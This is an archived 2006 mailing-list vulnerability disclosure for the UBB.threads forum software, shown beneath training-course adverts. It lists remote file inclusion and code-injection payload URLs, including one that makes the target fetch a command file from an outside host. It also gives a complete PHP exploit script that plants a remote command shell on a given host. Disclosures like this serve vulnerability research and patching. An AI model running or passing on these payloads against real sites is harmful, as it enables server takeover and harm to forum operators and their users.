Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | UBB.threads Multiple input validation error |
|---|---|
| Date: | 29 Sep 2006 12:09:40 -0000 |
Hello,, UBB.threads Multiple input validation error Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : security@soqor.net Tested on Version 6 (6.5.1.1) and other versions maybe affected Remote File including : ubbt.inc.php?GLOBALS[thispath]=http://localhost/cmd.txt?&cmd=dir ubbt.inc.php?GLOBALS[configdir]=http://localhost/cmd.txt?&cmd=dir ------------------------------------------------------- Files overwrite vulnerabilities if magic_qoutes_gpc = off admin/doedittheme.php?theme[soqor]=".system($_GET[cmd])."&thispath=../ and open includes/theme.inc.php?cmd=ls -la or :- admin/doeditconfig.php?config[soqor]=".system($_GET[cmd])."&thispath=../ and open includes/config.inc.php?cmd=ls -la -- # -- # -- # -- if magic_qoutes_gpc = on admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt? and you will have a command execution files .. example dorateuser.php?cmd=ls -la calendar.php?cmd=ls -la and so many other files which includes using this variable ($config[path]) ------------------------------------------------------- Full path cron/php/subscriptions.php ------------------------------------------------------- Exploit :- #!/usr/bin/php -q -d short_open_tag=on <? /* /* UBB.threads Multiple vulnerabilities /* This exploit should allow you to execute commands /* By : HACKERS PAL /* WwW.SoQoR.NeT */ print_r(' /**********************************************/ /* UBB.threads Command Execution */ /* by HACKERS PAL <security@soqor.net> */ /* site: http://www.soqor.net */'); if ($argc<2) { print_r(' /* -- */ /* Usage: php '.$argv[0].' host /* Example: */ /* php '.$argv[0].' http://localhost/ /**********************************************/ '); die; } error_reporting(0); ini_set("max_execution_time",0); $url=$argv[1]."/"; $exploit="admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?"; $page=$url.$exploit; Function get_page($url) { if(function_exists("file_get_contents")) { $contents = file_get_contents($url); } else { $fp=fopen("$url","r"); while($line=fread($fp,1024)) { $contents=$contents.$line; } } return $contents; } $page = get_page($page); $newpage = get_page($url."calendar.php"); if(eregi("Cannot execute a blank command",$newpage)) { Die("\n[+] Exploit Finished\n[+] Go To : ".$url."calendar.php?cmd=ls -la\n[+] You Got Your Own PHP Shell\n/* Visit us : WwW.SoQoR.NeT */\n/**********************************************/"); } Else { Die("\n[-] Exploit Failed\n/* Visit us : WwW.SoQoR.NeT */\n/**********************************************/"); } ?> WwW.SoQoR.NeT
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [MajorSecurity Advisory #28]ConPresso CMS - Multiple Cross Site Scripting and SQL Injection Issues, admin |
|---|---|
| Next by Date: | Sql injection in PostNuke [Admin section], Omid |
| Previous by Thread: | [MajorSecurity Advisory #28]ConPresso CMS - Multiple Cross Site Scripting and SQL Injection Issues, admin |
| Next by Thread: | Sql injection in PostNuke [Admin section], Omid |
| Indexes: | [Date] [Thread] [Top] [All Lists] |